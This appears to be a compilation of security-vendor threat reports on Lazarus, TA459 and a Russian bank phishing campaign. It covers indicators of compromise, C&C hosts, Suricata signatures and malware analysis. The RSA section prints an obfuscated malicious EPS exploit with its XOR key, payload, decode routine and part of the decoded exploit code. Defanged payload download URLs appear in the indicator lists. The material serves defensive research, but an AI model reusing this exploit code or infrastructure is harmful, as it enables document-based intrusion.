+hxxp://www.btc-gold[.]us/images/top_bar.gif
+hxxp://trade.publicvm[.]com/images/top_bar.gif
+PowerRatankba Hashes
+41f155f039448edb42c3a566e7b8e150829b97d83109c0c394d199cdcfd20f9b
+20f7e342a5f3224cab8f0439e2ba02bb051cd3e1afcd603142a60ac8af9699ba
+db8163d054a35522d0dec35743cfd2c9872e0eb446467b573a79f84d61761471
+3cd0689b2bae5109caedeb2cf9dd4b3a975ab277fadbbb26065e489565470a5c
+b265a5d984c4654ac0b25ddcf8048d0aabc28e36d3e2439d1c08468842857f46
+1768f2e9cea5f8c97007c6f822531c1c9043c151187c54ebfb289980ff63d666
+99ad06cca4910c62e8d6b68801c6122137cf8458083bb58cbc767eebc220180d
+f7f2dd674532056c0d67ef1fb7c8ae8dd0484768604b551ee9b6c4405008fe6b
+d844777dcafcde8622b9472b6cd442c50c3747579868a53a505ef2f5a4f0e26a
+NOTE: Several of these domains reflect themes and brands (only BTG) that are confirmed to have been used in phishing attacks. Additionally, they were
+registered in the same timeframe, at the same registrar, with matching server characteristics that were observed in the confirmed IDNA infrastructure domains.
+These domains in no way indicate that they have been used for attacks, nor that the themes utilized indicate that the entity in question has been targeted or
+compromised. We simply assess that this infrastructure is related to Lazarus Group and currently do not know how or if it was utilized for campaigns.
+North Korea Bitten by Bitcoin Bug
+PowerRatankba C&C
+51.255.219[.]82
+144.217.51[.]246
+158.69.57[.]135
+198.100.157[.]239
+201.139.226[.]67
+92.222.106[.]229
+apps.got-game[.]org
+trade.publicvm[.]com
+www.businesshop[.]net
+vietcasino.linkpc[.]net
+Related Unknown Purpose C&C
+coinbases[.]org
+africawebcast[.]com
+bitforex.linkpc[.]net
+macintosh.linkpc[.]net
+coinbroker.linkpc[.]net
+moneymaker.publicvm[.]com
+RFC18 Gh0st RAT
+3a856d8c835232fe81711680dc098ed2b21a4feda7761ed39405d453b4e949f6
+RFC18 Gh0st RAT Download Locations
+hxxp://180.235.133[.]235/img.gif
+hxxp://180.235.133[.]121/images/img.gif
+RFC18 Gh0st RAT C&C
+180.235.133[.]235:443
+180.235.133[.]121:443
+51.255.219[.]82:443
+158.69.57[.]135:443
+RatankbaPOS ITW
+hxxp://www.webkingston[.]com/top.gif
+RatankbaPOS Hashes
+b66624ab8591c2b10730b7138cbf44703abec62bfc7774d626191468869bf21c
+79a4b6329e35e23c3974960b2cecc68ee30ce803619158ef3fefcec5d4671c98
+d334c40b42d2e6286f0553ae9e6e73e7e7aaec04a85df070b790738d66fd14fb
+2b05a692518a6102c540e209cb4eb1391b28944fdb270aef7ea47e1ddeff5ae2
+RatankbaPOS Loader C&C
+hxxp://www.webkingston[.]com/update.jsp?action=need_update
+RatankbaPOS Exfiltration C&C
+hxxp://www.energydonate[.]com/list.jsp?action=up
+hxxp://online-help[.]serveftp[.]com/list.jsp?action=up
+North Korea Bitten by Bitcoin Bug
+ET and ETPRO Suricata/Snort Signatures
+2824864,ETPRO TROJAN Ratankba Recon Backdoor/Module CnC Beacon 1
+2828904,ETPRO TROJAN RatankbaPOS Dropper CnC Checkin M1
+2828905,ETPRO TROJAN RatankbaPOS Dropper CnC Checkin M2
+2828906,ETPRO TROJAN RatankbaPOS CnC Checkin
+2828921,ETPRO TROJAN PowerRatankba DNS Lookup 1
+2828922,ETPRO TROJAN PowerRatankba DNS Lookup 2
+2828923,ETPRO TROJAN PowerRatankba DNS Lookup 3
+2828924,ETPRO TROJAN PowerRatankba DNS Lookup 4
+2828925,ETPRO TROJAN PowerRatankba DNS Lookup 5
+2828926,ETPRO TROJAN PowerRatankba DNS Lookup 6
+2828927,ETPRO TROJAN PowerRatankba DNS Lookup 7
+2828928,ETPRO TROJAN PowerRatankba DNS Lookup 8
+2828929,ETPRO TROJAN PowerRatankba DNS Lookup 9
+2828930,ETPRO TROJAN PowerRatankba DNS Lookup 10
+2828931,ETPRO TROJAN PowerRatankba DNS Lookup 11
+2828932,ETPRO TROJAN PowerRatankba DNS Lookup 12
+2828933,ETPRO TROJAN PowerRatankba DNS Lookup 13
+2828934,ETPRO TROJAN PowerRatankba DNS Lookup 14
+2828935,ETPRO TROJAN PowerRatankba DNS Lookup 15
+2828936,ETPRO TROJAN PowerRatankba DNS Lookup 16
+2828937,ETPRO TROJAN PowerRatankba DNS Lookup 17
+2828938,ETPRO TROJAN PowerRatankba DNS Lookup 18
+2828939,ETPRO TROJAN PowerRatankba DNS Lookup 19
+2828940,ETPRO TROJAN PowerRatankba DNS Lookup 20
+2828941,ETPRO TROJAN PowerRatankba DNS Lookup 21
+2828942,ETPRO TROJAN PowerRatankba DNS Lookup 22
+2828943,ETPRO TROJAN PowerRatankba DNS Lookup 23
+2828944,ETPRO TROJAN PowerRatankba DNS Lookup 24
+2828945,ETPRO TROJAN PowerRatankba DNS Lookup 25
+2828946,ETPRO TROJAN PowerRatankba DNS Lookup 26
+2828947,ETPRO TROJAN PowerRatankba DNS Lookup 27
+2828948,ETPRO TROJAN PowerRatankba DNS Lookup 28
+2828949,ETPRO TROJAN PowerRatankba DNS Lookup 29
+2828950,ETPRO TROJAN PowerRatankba DNS Lookup 30
+2828951,ETPRO TROJAN PowerRatankba DNS Lookup 31
+2828952,ETPRO TROJAN PowerRatankba DNS Lookup 32
+2828953,ETPRO TROJAN PowerRatankba DNS Lookup 33
+2828971,ETPRO TROJAN RatankbaPOS POS Exfiltration
+North Korea Bitten by Bitcoin Bug
+ABOUT PROOFPOINT
+Proofpoint, Inc. (NASDAQ:PFPT), a next-generation cybersecurity company, enables organizations to protect the way their people
+work today from advanced threats and compliance risks. Proofpoint helps cybersecurity professionals protect their users from
+the advanced attacks that target them (via email, mobile apps, and social media), protect the critical information people create,
+and equip their teams with the right intelligence and tools to respond quickly when things go wrong. Leading organizations of
+all sizes, including over 50 percent o
+ f the Fortune 100, rely on Proofpoint solutions, which are built for today
+s mobile and
+social-enabled IT environments and leverage both the power of the cloud and a big-data-driven analytics platform to combat
+modern advanced threats.
+www.proofpoint.com
+Proofpoint, Inc. Proofpoint is a trademark of Proofpoint, Inc. in the United States and other
+countries. All other trademarks contained herein are property of their respective owners.
+APT Targets Financial Analysts with CVE-2017-0199
+proofpoint.com /us/threat-insight/post/apt-targets-financial-analysts
+On April 20, Proofpoint observed a targeted campaign focused on financial analysts working at top global financial
+firms operating in Russia and neighboring countries. These analysts were linked by their coverage of the
+telecommunications industry, making this targeting very similar to, and likely a continuation of, activity described in
+our 
+In Pursuit of Optical Fibers and Troop Intel 
+ blog. This time, however, attackers opportunistically used spearphishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the
+ZeroT Trojan, which in turn downloaded the PlugX Remote Access Trojan (RAT).
+Proofpoint is tracking this attacker, believed to operate out of China, as TA459. The actor typically targets Central
+Asian countries, Russia, Belarus, Mongolia, and others. TA549 possesses a diverse malware arsenal including
+PlugX, NetTraveler, and ZeroT. [1][2][3]
+In this blog, we also document other 2017 activity so far by this attack group, including their distribution of ZeroT
+malware and secondary payloads PCrat/Gh0st.
+Analysis
+In this campaign, attackers used a Microsoft Word document called 0721.doc, which exploits CVE-2017-0199. This
+vulnerability was disclosed and patched days prior to this attack.
+Figure 1: Microsoft Word document 0721.doc
+The document uses the logic flaw to first download the file power.rtf from hxxp://122.9.52[.]215/news/power.rtf. The
+payload is actually an HTML Application (HTA) file, not an RTF document.
+Figure 2: The first script downloaded by the exploit document is an HTA file
+As shown in the figure above, the HTA
+s VBScript changes the window size and location and then uses PowerShell
+to download yet another script: power.ps1. This is a PowerShell script that downloads and runs the ZeroT payload
+cgi.exe.
+Figure 3: The second script downloaded by the exploit document is a PowerShell script
+Figure 4: Combined network traffic showing the document downloading its payloads
+ZeroT and other payloads
+The attack group has made incremental changes to ZeroT since our last analysis. While they still use RAR SFX
+format for the initial payloads, ZeroT now uses a the legitimate McAfee utility (SHA256
+3124fcb79da0bdf9d0d1995e37b06f7929d83c1c4b60e38c104743be71170efe) named mcut.exe instead of the
+Norman Safeground AS for sideloading as they have in the past. The encrypted ZeroT payload, named Mctl.mui, is
+decoded in memory revealing a similarly tampered PE header and only slightly modified code when compared to
+ZeroT payloads we analyzed previously.
+Once ZeroT is running, we observed that the fake User-Agent used in the requests changed from 
+Mozilla/6.0
+(compatible; MSIE 10.0; Windows NT 6.2; Tzcdrnt/6.0)
+ to 
+Mozilla/6.0 (compatible; MSIE 11.0; Windows NT 6.2)
+thus removing the 
+Tzcdrnt
+ typo observed in previous versions. The initial beacon to index.php changed to index.txt
+but ZeroT still expects an RC4-encrypted response using a static key: 
+(*^GF(9042&*
+Figure 5: ZeroT initial beacon over HTTP requesting URL configuration
+Next, ZeroT uses HTTP beacons to transmit information about the infected system to the command and control
+(C&C). All posts are encrypted, unlike the last time we analyzed a sample from this actor, when the first POST was
+accidentally not encrypted. After that, stage 2 payloads are still retrieved as Bitmap (BMP) images that use Least
+Significant Bit (LSB) Steganography to hide the real payloads. These images appear normal in image viewers.
+Figure 6: Collage of example BMP images containing stage 2 payloads hidden using LSB steganography
+The stage 2 payload was PlugX that beaconed to C&C servers www[.]icefirebest[.]com and www[.]icekkk[.]net.
+Figure 7: ZeroT and PlugX HTTP network activity
+Additional 2017 activity by TA459
+Throughout 2017 we observed this threat actor actively attempting to compromise victims with various malware
+payloads. ZeroT remained the primary stage 1 payload, but the stage 2 payloads varied. One such interesting
+example was 
+.rar
+ (SHA256
+b5c208e4fb8ba255883f771d384ca85566c7be8adcf5c87114a62efb53b73fda). Translated from Russian, this file is
+named 
+PROJECT REALIZATION PLAN
+ and contains a compressed .scr executable. This ZeroT executable
+communicated with the C&C domain www[.]kz-info[.]net and downloaded PlugX as well as an additional
+PCRat/Gh0st Trojan which communicated with the www[.]ruvim[.]net C&C server. PCRat/Gh0st is a payload that we
+do not see this group using frequently.
+Another interesting ZeroT sample (SHA256
+bc2246813d7267608e1a80a04dac32da9115a15b1550b0c4842b9d6e2e7de374) contained the executable
+0228.exe and a decoy document 0228.doc in the RAR SFX archive. Bundling decoy documents is a common tactic
+by this group. RAR SFX directives are used to display the decoy while the malicious payload is executed. We
+suspect that this specific lure was copied from the news article hxxp://www.cis.minsk[.]by/news.php?id=7557. This
+article was about 
+, translated from Russian as 
+73rd meeting of the
+CIS Economic Council
+, which describes a meeting held in Moscow by the Commonwealth of Independent States
+(CIS) countries, an organization that includes nine out of the fifteen former Soviet Republics.
+Figure 8: Decoy document
+Figure 9: The believed source of the text in decoy document
+Conclusion
+TA459 is well-known for targeting organizations in Russia and neighboring countries. However, their strategy,
+tactics, techniques, and procedures in this particular attack emphasize the importance of rigorous patching regimens
+for all organizations. Even as software vulnerabilities often take a back seat to human exploits and social
+engineering, robust defenses must include protection at the email gateway, proactive patch management, and
+thoughtful end user education. Paying attention to the details of past attacks is also an important means of preparing
+for future attacks. Noting who is targeted, with what malware, and with what types of lures provide clues with which
+organizations can improve their security posture.
+At the same time, multinational organizations like the financial services firms targeted here must be acutely aware of
+the threats from state-sponsored actors working with sophisticated malware to compromise users and networks.
+Ongoing activity from attack groups like TA459 who consistently target individuals specializing in particular areas of
+research and expertise further complicate an already difficult security situation for organizations dealing with more
+traditional malware threats, phishing campaigns, and socially engineered threats every day.
+References
+[1]https://www.proofpoint.com/us/threat-insight/post/PlugX-in-Russia
+[3]https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests
+[3]https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx
+Indicators of Compromise (IOCs)
+IOC Type
+Description
+a64ea888d412fd406392985358a489955b0f7b27da70ff604e827df86d2ca2aa
+SHA256
+0721.doc CVE2017-0199
+hxxp://122.9.52[.]215/news/power.rtf
+0721.doc payload
+hxxp://122.9.52[.]215/news/power.ps1
+0721.doc payload
+hxxp://www.firesyst[.]net/info/net/sports/drag/cgi.exe
+0721.doc payload
+bf4b88e42a406aa83def0942207c8358efb880b18928e41d60a2dc59a59973ba
+SHA256
+ZeroT (cgi.exe)
+www.firesyst[.]net
+Hostname
+ZeroT C&C
+www.icekkk[.]net
+Hostname
+PlugX C&C
+IOC Type
+Description
+www.kz-info[.]net
+Hostname
+ZeroT C&C
+www.firesyst[.]net
+Hostname
+ZeroT C&C
+www.buleray[.]net
+Hostname
+ZeroT C&C
+www.intersu[.]net
+Hostname
+ZeroT C&C
+868ee879ca843349bfa3d200f858654656ec3c8128113813cd7e481a37dcc61a
+SHA256
+ZeroT
+Indicators of Compromise (IOCs) - Related
+4601133e94c4bc74916a9d96a5bc27cc3125cdc0be7225b2c7d4047f8506b3aa
+SHA256
+ZeroT
+5fd61793d498a395861fa263e4438183a3c4e6f1e4f098ac6e97c9d0911327bf
+SHA256
+ZeroT
+b5c208e4fb8ba255883f771d384ca85566c7be8adcf5c87114a62efb53b73fda
+SHA256
+ZeroT
+ab4cbfb1468dd6b0f09f6e74ac7f0d31a001d396d8d03f01bceb2e7c917cf565
+SHA256
+ZeroT
+79bd109dc7c35f45b781978436a6c2b98a5df659d09dee658c2daa4f1984a04e
+SHA256
+ZeroT
+www.icekkk[.]net
+Hostname
+PlugX C&C
+www.icefirebest[.]com
+Hostname
+PlugX C&C
+www.ruvim[.]net
+Hostname
+PlugX C&C
+ET and ETPRO Suricata/Snort Coverage
+2821028 | ETPRO TROJAN APT.ZeroT CnC Beacon HTTP POST
+2825365 | ETPRO TROJAN APT.ZeroT CnC Beacon Fake User-Agent
+2824641 | ETPRO TROJAN APT.ZeroT Receiving Config
+2810326 | ETPRO TROJAN PlugX Related Checkin
+2024196 | ET WEB_CLIENT HTA File containing Wscript.Shell Call - Potential Office Exploit Attempt
+2024197 | ET CURRENT_EVENTS SUSPICIOUS MSXMLHTTP DL of HTA (Observed in RTF 0-day )
+2016922 | ET TROJAN Backdoor family PCRat/Gh0st CnC traffic
+2021716 | ET TROJAN Backdoor family PCRat/Gh0st CnC traffic (OUTBOUND) 102
+Russian Bank Offices Hit with Broad Phishing Wave
+community.rsa.com /community/products/netwitness/blog/2017/08/17/russian-bank-offices-hit-with-broad-phishing-wave
+By far most of the bank-related phishing campaigns described in security advisories and reports consist of bank customers being targeted for their online credentials. Much less common is
+a phishing campaign targeting the banks themselves. Perhaps fraudsters know that there are a lot more bank customers than there are banks, and generally banks have a more
+hardened security posture than the average bank
+s customer.
+Target: multiple bank offices in Russia
+But still, payoff potential for a successful bank compromise might be considerable. In this threat advisory, we describe a Russian-language phishing campaign active during the second
+week of August 2017, targeting not the usual banking customers, but the Russian banks themselves. And in an unusual reversal of typical bank phishing social engineering tactics, the
+phishing emails purport to be from the bank
+s customers. Consider the following phish delivered to the email address displayed on the bank
+s website. In the email screenshot with our
+added machine translation from Russian, notice the subject line and message body text reflecting a 
+business customer upset about extra charges on his credit card
+ social engineering
+theme (Figure 1).
+Figure 1 Phishing email targeting Russia bank #1, machine translation in red boxes
+Figure 2 is a screenshot of another phishing email obtained by RSA FirstWatch, targeting 
+Russia bank #2.
+ While this email is part of the same campaign, note that the body text, subject
+lines, file name, and @mail.com sender email is different from that targeting Russia bank #1, suggesting at least some manual actor modifications to the phishing email construction.
+Figure 2 Phishing email targeting Russia bank #1, machine translation in red boxes
+RSA FirstWatch identified 23 such attachments in this campaign, all using what appeared to be the exact same EPS exploit. The disgruntled banking customer was consistent throughout;
+illustrated below are a few attachment examples:
+Exploit attachment #1 was deployed with the following names in Russian:
+.docx ("Account statement")
+.docx ("Card statement")
+.docx ("Personal information")
+Exploit attachment #2 was deployed with the following names:
+.docx (or 
+Card statement
+.docx (or 
+Customer card statement
+Exploit attachment #3 was deployed using the following name:
+.docx (or 
+Statement
+Note: Hashes of all samples will be included in the Appendix of this analysis.
+As of 10 August 2017, RSA FirstWatch has high confidence that multiple individuals at many Russian banks were targeted with these malicious attachments, and believe this campaign
+was subsequently brought to the attention of the Central Bank of Russia
+s FinCERT by one or more of the banks being targeted. On 17 August 2017, the day we were finishing up this
+analysis, a new sample was discovered being deployed, with a different C2 node and slightly different communication.
+An exploit in someone else
+s wrapper?
+Before we get to details about the exploit used in this campaign, we should cover some history on EPS exploits in docx files. FireEye discovered a malicious docx exploiting a zero day
+vulnerability in Microsoft
+s Encapsulated Postscript (EPS) filter, in the summer of 2015. This EPS exploit was assigned CVE-2015-2545. In March 2017, FireEye observed both nation
+state and financially motivated actors using EPS zero day exploits assigned as CVE-2017-0261 and CVE-2017-0262, prior to Microsoft disabling EPS rendering in its Office products with
+an update in April 2017. So it is likely one of these three EPS exploits is being employed with the perpetrator activity under investigation, perhaps hoping that their targets haven
+t applied
+the April patch that would make every EPS exploit futile.
+Since docx files are just a Zip-compressed container, comparing them with a file tree view might be a quick way to assess similarity on a high level. In fact, all 23 known docx files used in
+this campaign are very nearly identical, with the same 12 component files. Varying checksums might have to do with build artifacts, perhaps even intentionally so, in order to generate a
+unique hash with each build.
+Figure 3 Tree view of docx container file used to target Russian banks last week
+Interesting enough 10 of these 12 docx component files (everything but the image1.eps and document.xml files) are dated April 18 th. This is no coincidence; in fact, those same docx
+component files were found in the attachment used by nation-state actors in their email targeting of an Eastern European Ministry of Foreign Affairs , back when this EPS exploit was still a
+zero day (Figure 4).
+Figure 4 Eastern European Ministry of Foreign Affairs targeted by suspected nation state actors
+So if we compare the tree view of that older docx container (Figure 5), we see that 10 of the same component files appear identical, and we can confirm that using cryptographic hashing.
+Figure 5 Tree view of "Trump" exploit docx container, with 10 of 12 files identical to 23 recent RU bank targeting samples described in this investigation
+Of special note is the common app.xml file, which comes directly from the decoy document in the 
+Trump
+ exploit file. This app.xml file contains the same URL to the California Courier
+website (www[.]thecaliforniacourier[.]com), where the text was copied from 
+Trump
+s Attack on Syria: Wrong for so Many Reasons
+ as described by ESET in their exploit analysis .
+Clearly there was some 
+borrowing
+ going on between this current bank-targeting campaign and the previous nation-state espionage campaign. Does this suggest that these campaigns
+and actors are in any way complicit/related? No. On the contrary, national interests seem to imply that those particular espionage-focused actors (i.e., from the 
+Trump
+ campaign) would
+almost certainly NOT be involved in broadly exploiting Russian banks a few months later. That being said, an alternative hypothesis is that these bank-targeting actors purposely
+purloined the older espionage related docx files to introduce uncertainty and/or mis-attribution, or even to send a message to defenders or researchers. As we'll see shortly, the attackers
+also interestingly signed (commented) their malware with lyrics from Slipknot's Snuff.
+Figure 6 Google result with Slipknot Snuff lyrics
+Which exploit is this?
+Obfuscation is important for exploits, especially when a campaign that is broad as this one is up against a gamut of financial institutions with AV
+s that have had plenty of time to add
+detection for known EPS exploits. With initial AV coverage of these two dozen or so attachments in the single digits out of more than 50 AV vendors, RSA Engineering
+s Kevin
+Douglas jumped at the chance to flex his deobfuscation skills, and here steps us through our exploit assessment.
+Step 1. Unzipping the sample DOCX file, reveals the following embedded EPS Image file
+unzip ./2c86a55cefd05352793c603421b2d815f0e1ddf08e598e7a3f0f6b1d3928aca8
+Archive: ./2c86a55cefd05352793c603421b2d815f0e1ddf08e598e7a3f0f6b1d3928aca8
+inflating: [Content_Types].xml
+inflating: docProps/app.xml
+inflating: docProps/core.xml
+inflating: word/document.xml
+inflating: word/fontTable.xml
+inflating: word/settings.xml
+inflating: word/styles.xml
+inflating: word/webSettings.xml
+inflating: word/media/image1.eps
+inflating: word/theme/theme1.xml
+inflating: word/_rels/document.xml.rels
+inflating: _rels/.rels
+Step 2. Examining the app.xml file, we can see a suspicious URL artifact
+cat docProps/app.xml
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties"
+xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template>Normal.dotm</Template><TotalTime>1</TotalTime><Pages>2</Pages>
+<Words>958</Words><Characters>5462</Characters><Application>Microsoft Office Word</Application><DocSecurity>0</DocSecurity><Lines>45</Lines>
+<Paragraphs>12</Paragraphs><ScaleCrop>false</ScaleCrop><HeadingPairs><vt:vector size="2" baseType="variant"><vt:variant><vt:lpstr>Title</vt:lpstr></vt:variant><vt:variant>
+<vt:i4>1</vt:i4></vt:variant></vt:vector></HeadingPairs><TitlesOfParts><vt:vector size="1" baseType="lpstr"><vt:lpstr></vt:lpstr></vt:vector></TitlesOfParts><Company></Company>
+<LinksUpToDate>false</LinksUpToDate><CharactersWithSpaces>6408</CharactersWithSpaces><SharedDoc>false</SharedDoc><HLinks><vt:vector size="6" baseType="variant">
+<vt:variant><vt:i4>4456521</vt:i4></vt:variant><vt:variant><vt:i4>0</vt:i4></vt:variant><vt:variant><vt:i4>0</vt:i4></vt:variant><vt:variant><vt:i4>5</vt:i4></vt:variant><vt:variant>
+<vt:lpwstr>hXXp://www[.]thecaliforniacourier[.]com </vt:lpwstr></vt:variant><vt:variant><vt:lpwstr></vt:lpwstr></vt:variant></vt:vector></HLinks>
+<HyperlinksChanged>false</HyperlinksChanged><AppVersion>15.0000</AppVersion></Properties>
+Step 3. Examining the image1.eps file, we can see:
+1. A likely multibyte XOR key (<7a5d5e20>)
+Quoting lyrics from Slipknot's Snuff in the comments (%%Myheartisjusttoodarktocare, %%Icantdestroywhatisntthere)
+3. A likely XOR encoded hexadecimal payload (<017d71681f3128450e343d415a3b374e1e3b314e0e7d6f104a7d2d431b313b4615332a0009382a4615332a001d3131421b313a491
+4. 9297e421f3a
+5. A likely XOR decode loop: (0 1 A1 length 1 sub { /A5 exch def A1 A5 2 copy get A2 A5 4 mod get xor put } for A1 } )
+6. A likely execution of the payload once it is decoded (exec )
+7. Repetitive obfuscated comments translating to 
+ kasper-pidor kasper-pidor kasper-pidor kasper-pidor
+ scattered throughout to make the code that make it harder to read. These
+are highlighted in green... and possibly speak to something more personal between the actors and Kaspersky possibly?
+(e.g., %%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220)
+Dump of image1.EPS code:
+%!PS-Adobe-3.0 EPSF-3.0
+%%BoundingBox: 31 24 51 654
+%%Page: 1 1
+/Times-Roman findfont globaldict
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+begin /l0 11 def l0 scalefont setfont newpath /E1 600 def 4 E1 moveto /l2 E1 def /l3 { /l4 exch def /l2 l2 l0 sub def 12 l2 moveto l4 show } /min { 2 copy gt { exch } if pop } bind def /max { 2
+copy lt { exch } if pop } bind def
+/A3{ token pop exch pop }
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+def /A2
+%%6b61737065722d706
+%%6b61737065722d706
+<7a5d5e20> def /A4{
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+/A1 exch
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+def 0 1 A1 length 1 sub
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+{ /A5 exch def A1 A5 2 copy get A2 A5 4 mod get xor
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+put } for A1 }
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+def <017d71681f3128450e343d415a3b374e1e3b314e0e7d6f104a7d2d431b313b4615332a0009382a4615332a001d3131421b313a491
+9297e421f3a374e5a721f11497d66104a6d6e105a393b465a721f11487d1f11497d6f165a343a490c7d6f001b393a001e383800551c660
+0017d71614f697e45023e36001e383800551c6c165a382643127d3a451c7d7161496a7e61486b7e4c1f333954127d3a451c7d71614f6a7e
+614f697e4c1f333954127d3a451c7d71614e6c7e124f6b7e441f3b7e0f3b6c6f003b6e69003b696f001339375[
+]0077d7e00>
+%% quit 6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+%%Myheartisjusttoodarktocare
+%%Icantdestroywhatisntthere
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+A4 %%6b61737065722d7069646f72206b61
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+A3 %%6b61737065722d7069646f72206b61
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+exec %%6b61737065722d7069646f72206b61
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+%%6b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f72206b61737065722d7069646f7220
+showpage quit
+Step 4. Decoding the payload
+Using the multibyte XOR Key (7a5d5e20), the payload can be decoded by XOR
+ing each byte of the payload with its (position % 4) in the XOR key. For example, position 0 in the payload
+is XOR
+d against 0x7a, position 1 is XOR
+d against 0x5d, position 2 is XOR
+d against 0x5e, position 3 is XOR
+d against 0x20. Then the cycle repeats for subsequent payload bytes.
+Code similar to what's pasted below would decode it (acBuffer is payload, acKeys is XOR key).
+for (int ctr = 0; ctr < sizeof(acPayload) - 1; ctr++) {
+printf("%c", acPayload[ctr] ^ (acKeys[(ctr % 4)]));
+This results in the decoded payload snippet pasted below. Highlighted is most likely an encoded payload used in the next stage. Also highlighted below are Windows DLL and function
+artifacts indicating maliciousness.
+{ /Helvetica findfont 100 scalefont setfont globaldict begin /A13 800000 def /A12 A13 16 idiv 1 add def /A8 { /A54 exch def /A26 exch def /A37 A26 length def /A57 A54 length def /A41 256
+def /A11 A37 A41 idiv def { /A11 A11 1 sub def A11 0 lt{ exit } if A26 A11 A41 mul A54 putinterval } loop A26 } bind def /A61 { dup -16 bitshift /A43 exch def 65535 and /A34 exch def dup -16
+bitshift /A22 exch def 65535 and dup /A63 exch def A34 sub 65535 and A22 A43 sub A63 A34 sub 0 lt { 1 } { 0 } ifelse sub 16 bitshift or } bind def /A60 { dup -16 bitshift /A43 exch def
+65535 and /A34 exch def dup -16 bitshift /A22 exch def 65535 and dup /A59 exch def A34 add 65535 and A22 A43 add A59 A34 add -16 bitshift add 16 bitshift or } bind def /A17 { /A46
+exch def A18 A46 get A18 A46 1 A60 get 8 bitshift A60 A18 A46 2 A60 get 16 bitshift A60 A18 A46 3 A60 get 24 bitshift A60 } bind def /A2 { /A45 exch def /A20 exch def A18 A20 A45 255
+and put A18 A20 1 A60 A45 -8 bitshift 255 and put A18 A20 2 A60 A45 -16 bitshift 255 and put A18 A20 3 A60 A45 -24 bitshift 255 and put } bind def /A47 { A18 exch get } bind def /A29 {
+2147418112 and /A56 exch def { A18 A56 get 77 eq { A18 A56 1 A60 get 90 eq { A56 60 A60 A17 dup 512 lt { A56 A60 dup A47 80 eq { 1 A60 A47 69 eq { exit } if } { pop } ifelse } { pop }
+ifelse } if } if /A56 A56 65536 sub def } loop A56 } bind def /A51 { /A33 exch def /A38 exch def /A44 A38 dup 60 A60 A17 A60 def A18 A44 25 A60 get dup 01 eq { pop /A62 A38 A44 128
+A60 A17 A60 def /A32 A44 132 A60 A17 def } { 02 eq { /A62 A38 A44 144 A60 A17 A60 def /A32 A44 148 A60 A17 def } if } ifelse 0 0 20 A32 1 A61 { /A49 exch def /A50 A62 A49 A60 12
+A60 A17 def A50 0 eq { quit } if A18 A38 A50 A60 14 getinterval A33 search { length 0 eq { pop pop pop A62 A49 A60 exit } if pop } if pop } for } bind def /A40 { /A27 exch def /A23 exch def
+/A53 A23 A27 A51 def A53 16 A60 A17 A23 A60 A17 A29 } bind def /A35 { /A42 exch def /A30 exch def /A58 exch def /A39 A58 A30 A51 def /A25 A39 A17 A58 A60 def /A21 0 def { /A24
+A25 A21 A60 A17 def A24 0 eq { 0 exit } if A18 A58 A24 A60 50 getinterval A42 search { length 2 eq { pop pop A39 16 A60 A17 A58 A60 A21 A60 A17 exit } if pop } if pop /A21 A21 4 A60
+def } loop } bind def /A31 589567 string
+<00d0800d30d0800d000000000200000010d0800d020000003cd0800d0005000000000000000000005cd0800d00000300000000000000000020d0800d3cd0800d6cd0800d00000000f0ffff7f50d0800
